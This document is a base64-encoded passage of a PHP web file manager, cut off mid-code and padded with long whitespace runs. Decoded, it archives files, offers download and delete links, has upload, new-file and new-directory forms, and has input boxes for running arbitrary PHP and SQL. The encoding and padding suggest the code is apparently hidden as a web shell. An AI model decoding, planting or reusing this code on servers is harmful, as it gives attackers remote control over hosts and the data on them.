ICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAkZGVzdGluYXRpb24gLj0gJy5neic7DQoNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KDQoNCgkgICAgIAkgICAgIAkgICAgICRtc2dfaGVhZGVycyAuPSBfXygnVGFzaycpLicgIicuX18oJ0FyY2hpdmluZycpLicgJy4kZGVzdGluYXRpb24uJyIgJy5fXygnZG9uZScpLg0KDQoJICAgICAJICAgICAJICAgICAnLiZuYnNwOycuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRkZXN0aW5hdGlvbixfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRkZXN0aW5hdGlvbikNCgkgICAgIAkgICAgIAkgICAgIC4nJm5ic3A7PGEgaHJlZj0iJy4kdXJsX2luYy4nJmRlbGV0ZT0nLiRkZXN0aW5hdGlvbi4nJnBhdGg9JyAuICRwYXRoLiciIHRpdGxlPSInLl9fKCdEZWxldGUnKS4nICcuJGRlc3RpbmF0aW9uLiciID4nLl9fKCdEZWxldGUnKS4nPC9hPic7DQoNCgkgICAgIAkgICAgIH0gZWxzZSAkbXNnX2hlYWRlcnMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJykuJzogJy5fXygnbm8gZmlsZUFycmF5Jyk7DQoJICAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2RlY29tcHJlc3MnXSkpIHsNCg0KCSAgICAgCSAgICAgLy8gJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2RlY29tcHJlc3MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAvLyAkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKTsNCgkgICAgIAkgICAgIC8vICRleHQgPSBlbmQoZXhwbG9kZSgiLiIsICRkZXN0aW5hdGlvbikpOw0KCSAgICAgCSAgICAgLy8gaWYgKCRleHQ9PSd6aXAnIE9SICRleHQ9PSdneicpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgLy8gJHBoYXIgPSBuZXcgUGhhckRhdGEoJHNvdXJjZSk7DQoNCgkgICAgIAkgICAgIAkgICAgIC8vICRwaGFyLT5kZWNvbXByZXNzKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIC8vICRiYXNlX2ZpbGUgPSBzdHJfcmVwbGFjZSgnLicuJGV4dCwnJywkZGVzdGluYXRpb24pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAvLyAkZXh0ID0gZW5kKGV4cGxvZGUoIi4iLCAkYmFzZV9maWxlKSk7DQoJICAgICAJICAgICAJICAgICAvLyBpZiAoJGV4dD09J3Rhcicpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAvLyAkcGhhciA9IG5ldyBQaGFyRGF0YSgkYmFzZV9maWxlKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIC8vICRwaGFyLT5leHRyYWN0VG8oZGlyKCRzb3VyY2UpKTsNCg0KCSAgICAgCSAgICAgCSAgICAgLy8gfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIC8vIH0gDQoNCgkgICAgIAkgICAgIC8vICRtc2dfaGVhZGVycyAuPSBfXygnVGFzaycpLicgIicuX18oJ0RlY29tcHJlc3MnKS4nICcuJHNvdXJjZS4nIiAnLl9fKCdkb25lJyk7DQoNCgkgICAgIH0gZWxzZWlmIChpc3NldCgkX0dFVFsnZ3pmaWxlJ10pKSB7DQoJICAgICAJICAgICAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZ3pmaWxlJ10pOw0KDQoJICAgICAJICAgICAkYXJjaGl2ZSA9ICRzb3VyY2UuJy50YXInOw0KDQoJICAgICAJICAgICAkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKS4nLnRhcic7DQoJICAgICAJICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHVubGluaygkYXJjaGl2ZSk7DQoNCgkgICAgIAkgICAgIGlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgdW5saW5rKCRhcmNoaXZlLicuZ3onKTsNCgkgICAgIAkgICAgIHNldF90aW1lX2xpbWl0KDApOw0KDQoJICAgICAJICAgICAvL2VjaG8gJGRlc3RpbmF0aW9uOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGV4dF9hcnIgPSBleHBsb2RlKCcuJyxiYXNlbmFtZSgkc291cmNlKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGlmIChpc3NldCgkZXh0X2FyclsxXSkpIHsNCgkgICAgIAkgICAgIAkgICAgIHVuc2V0KCRleHRfYXJyWzBdKTsNCg0KCSAgICAgCSAgICAgCSAgICAgJGV4dD1pbXBsb2RlKCcuJywkZXh0X2Fycik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICB9IA0KDQoJICAgICAJICAgICAkcGhhciA9IG5ldyBQaGFyRGF0YSgkZGVzdGluYXRpb24pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJHBoYXItPmFkZEZpbGUoJHNvdXJjZSk7DQoNCgkgICAgIAkgICAgICRwaGFyLT5jb21wcmVzcyhQaGFyOjpHWiwkZXh0LicudGFyLmd6Jyk7DQoNCgkgICAgIAkgICAgIHVuc2V0KCRwaGFyKTsNCgkgICAgIAkgICAgIGlmIChpc19maWxlKCRhcmNoaXZlKSkgew0KDQoJICAgICAJICAgICAJICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgdW5saW5rKCRhcmNoaXZlKTsgDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRkZXN0aW5hdGlvbiAuPSAnLmd6JzsNCg0KCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICAJICAgICAkbXNnX2hlYWRlcnMgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLiciICcuX18oJ2RvbmUnKS4NCgkgICAgIAkgICAgIAkgICAgICcuJm5ic3A7Jy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKQ0KCSAgICAgCSAgICAgCSAgICAgLicmbmJzcDs8YSBocmVmPSInLiR1cmxfaW5jLicmZGVsZXRlPScuJGRlc3RpbmF0aW9uLicmcGF0aD0nIC4gJHBhdGguJyIgdGl0bGU9IicuX18oJ0RlbGV0ZScpLicgJy4kZGVzdGluYXRpb24uJyIgPicuX18oJ0RlbGV0ZScpLic8L2E+JzsNCg0KCSAgICAgCSAgICAgfSBlbHNlICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlQXJyYXknKTsNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo/Pg0KDQo8dGFibGUgY2xhc3M9Indob2xlIiBpZD0iaGVhZGVyX3RhYmxlIiA+DQo8dHI+DQoNCiAgICA8dGggY29sc3Bhbj0iMiI+PD89X18oJ0ZpbGUgbWFuYWdlcicpPz48Pz0oIWVtcHR5KCRwYXRoKT8nIC0gJy4kcGF0aDonJyk/PjwvdGg+DQoNCjwvdHI+DQo8P3BocCBpZighZW1wdHkoJG1zZ19oZWFkZXJzKSl7ID8+DQoNCjx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIDx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MiI+PD89JG1zZ19oZWFkZXJzPz48L3RkPg0KDQo8L3RyPg0KDQo8P3BocCB9ID8+DQoNCjx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICA8dGQgY2xhc3M9InJvdzIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICA8dGFibGU+DQoJICAgICAJICAgICAJICAgICA8dHI+DQoJICAgICAJICAgICAJICAgICA8dGQ+DQoJICAgICAJICAgICAJICAgICAJICAgICA8Pz1mbV9ob21lKCk/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIDx0ZD4NCg0KCSAgICAgCSAgICAgCSAgICAgPD9waHAgaWYoIWVtcHR5KCRmbV9jb25maWdbJ21ha2VfZGlyZWN0b3J5J10pKSB7ID8+DQoJICAgICAJICAgICAJICAgICAJICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiI+DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSI8Pz0kcGF0aD8+IiAvPg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcm5hbWUiIHNpemU9IjE1Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibWtkaXIiIHZhbHVlPSI8Pz1fXygnTWFrZSBkaXJlY3RvcnknKT8+Ij4NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPC9mb3JtPg0KDQoJICAgICAJICAgICAJICAgICA8P3BocCB9ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIDwvdGQ+DQoNCgkgICAgIAkgICAgIAkgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIDw/cGhwIGlmKCFlbXB0eSgkZm1fY29uZmlnWyduZXdfZmlsZSddKSkgeyA/Pg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSR1cmxfaW5jPz4iPg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgICAgIHZhbHVlPSI8Pz0kcGF0aD8+IiAvPg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9InRleHQiICAgbmFtZT0iZmlsZW5hbWUiIHNpemU9IjE1Ij4NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibWtmaWxlIiAgIHZhbHVlPSI8Pz1fXygnTmV3IGZpbGUnKT8+Ij4NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPC9mb3JtPg0KCSAgICAgCSAgICAgCSAgICAgPD9waHAgfSA/Pg0KDQoJICAgICAJICAgICAJICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICA8dGQ+DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDxmb3JtICBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiIgc3R5bGU9ImRpc3BsYXk6aW5saW5lIj4NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwYXRoPz4iIC8+DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iPD89X18oJ1JlY3Vyc2l2ZSBzZWFyY2gnKT8+IiBuYW1lPSJzZWFyY2hfcmVjdXJzaXZlIiB2YWx1ZT0iPD89IWVtcHR5KCRfUE9TVFsnc2VhcmNoX3JlY3Vyc2l2ZSddKT8kX1BPU1RbJ3NlYXJjaF9yZWN1cnNpdmUnXTonJz8+IiBzaXplPSIxNSI+DQoJICAgICAJICAgICAJICAgICAJICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWFzayIgcGxhY2Vob2xkZXI9Ijw/PV9fKCdNYXNrJyk/PiIgdmFsdWU9Ijw/PSFlbXB0eSgkX1BPU1RbJ21hc2snXSk/JF9QT1NUWydtYXNrJ106JyouKic/PiIgc2l6ZT0iNSI+DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNlYXJjaCIgdmFsdWU9Ijw/PV9fKCdTZWFyY2gnKT8+Ij4NCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDwvZm9ybT4NCgkgICAgIAkgICAgIAkgICAgIDwvdGQ+DQoNCgkgICAgIAkgICAgIAkgICAgIDx0ZD4NCg0KCSAgICAgCSAgICAgCSAgICAgPD89Zm1fcnVuX2lucHV0KCdwaHAnKT8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgPC90ZD4NCgkgICAgIAkgICAgIAkgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICA8Pz1mbV9ydW5faW5wdXQoJ3NxbCcpPz4NCg0KCSAgICAgCSAgICAgCSAgICAgPC90ZD4NCg0KCSAgICAgCSAgICAgCSAgICAgPC90cj4NCgkgICAgIAkgICAgIDwvdGFibGU+DQoNCiAgICA8L3RkPg0KDQogICAgPHRkIGNsYXNzPSJyb3czIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIDx0YWJsZT4NCg0KCSAgICAgCSAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICA8dGQ+DQoJICAgICAJICAgICA8P3BocCBpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3VwbG9hZF9maWxlJ10pKSB7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD89JHBhdGg/PiIgLz4NCg0KCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZCIgaWQ9InVwbG9hZF9oaWRkZW4iIHN0eWxlPSJwb3NpdGlvbjogYWJzb2x1dGU7IGRpc3BsYXk6IGJsb2NrOyBvdmVyZmxvdzogaGlkZGVuOyB3aWR0aDogMDsgaGVpZ2h0OiAwOyBib3JkZXI6IDA7IHBhZGRpbmc6IDA7IiBvbmNoYW5nZT0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZF92aXNpYmxlJykudmFsdWUgPSB0aGlzLnZhbHVlOyIgLz4NCgkgICAgIAkgICAgIAkgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiByZWFkb25seT0iMSIgaWQ9InVwbG9hZF92aXNpYmxlIiBwbGFjZWhvbGRlcj0iPD89X18oJ1NlbGVjdCB0aGUgZmlsZScpPz4iIHN0eWxlPSJjdXJzb3I6IHBvaW50ZXI7IiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkX2hpZGRlbicpLmNsaWNrKCk7IiAvPg0KDQoJICAgICAJICAgICAJICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ0ZXN0IiB2YWx1ZT0iPD89X18oJ1VwbG9hZCcpPz4iIC8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIDwvZm9ybT4NCg0KCSAgICAgCSAgICAgPD9waHAgfSA/Pg0KDQoJICAgICAJICAgICA8L3RkPg0KCSAgICAgCSAgICAgPHRkPg0KDQoJICAgICAJICAgICA8P3BocCBpZiAoJGF1dGhfZ293blsnYXV0aG9yaXplJ10pIHsgPz4NCgkgICAgIAkgICAgIAkgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPiZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICA8aW5wdXQgbmFtZT0icXVpdCIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iMSI+DQoNCgkgICAgIAkgICAgIAkgICAgIDw/PV9fKCdIZWxsbycpPz4sIDw/PSRhdXRoX2dvd25bJ2xvZ2luJ10/Pg0KDQoJICAgICAJICAgICAJICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPD89X18oJ1F1aXQnKT8+Ij4NCg0KCSAgICAgCSAgICAgCSAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICA8P3BocCB9ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIDwvdGQ+DQoNCgkgICAgIAkgICAgIDx0ZD4NCg0KCSAgICAgCSAgICAgPD89Zm1fbGFuZ19mb3JtKCRsYW5ndWFnZSk/Pg0KDQoJICAgICAJICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgPHRyPg0KDQoJICAgICAJICAgICA8L3RhYmxlPg0KDQogICAgPC90ZD4NCg0KPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L3RhYmxlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRhYmxlIGNsYXNzPSJhbGwiIGJvcmRlcj0nMCcgY2VsbHNwYWNpbmc9JzEnIGNlbGxwYWRkaW5nPScxJyBpZD0iZm1fdGFibGUiIHdpZHRoPSIxMDAlIj4NCg0KPHRoZWFkPg0KDQo8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIDx0aCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ0ZpbGVuYW1lJyk/PiA8L3RoPg0KDQogICAgPHRoIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnU2l6ZScpPz4gPC90aD4NCiAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdEYXRlJyk/PiA8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgPHRoIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnUmlnaHRzJyk/PiA8L3RoPg0KDQogICAgPHRoIGNvbHNwYW49IjQiIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnTWFuYWdlJyk/PiA8L3RoPg0KPC90cj4NCg0KPC90aGVhZD4NCg0KPHRib2R5Pg0KPD9waHANCiRlbGVtZW50cyA9IGZtX3NjYW5fZGlyKCRwYXRoLCAnJywgJ2FsbCcsIHRydWUpOw0KJGRpcnMgPSBhcnJheSgpOw0KJGZpbGVBcnJheSA9IGFycmF5KCk7DQoNCmZvcmVhY2ggKCRlbGVtZW50cyBhcyAkZmlsZV9nZXQpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIGlmKEBpc19kaXIoJHBhdGggLiAkZmlsZV9nZXQpKXsNCiAgICAgICAgJGRpcnNbXSA9ICRmaWxlX2dldDsNCg0KICAgIH0gZWxzZSB7DQogICAgICAgICRmaWxlQXJyYXlbXSA9ICRmaWxlX2dldDsNCiAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCm5hdHNvcnQoJGRpcnMpOyBuYXRzb3J0KCRmaWxlQXJyYXkpOw0KJGVsZW1lbnRzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlQXJyYXkpOw0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KZm9yZWFjaCAoJGVsZW1lbnRzIGFzICRmaWxlX2dldCl7DQoNCiAgICAkZmlsZW5hbWUgPSAkcGF0aCAuICRmaWxlX2dldDsNCiAgICAkZmlsZWRhdGEgPSBAc3RhdCgkZmlsZW5hbWUpOw0KICAgICAgICAg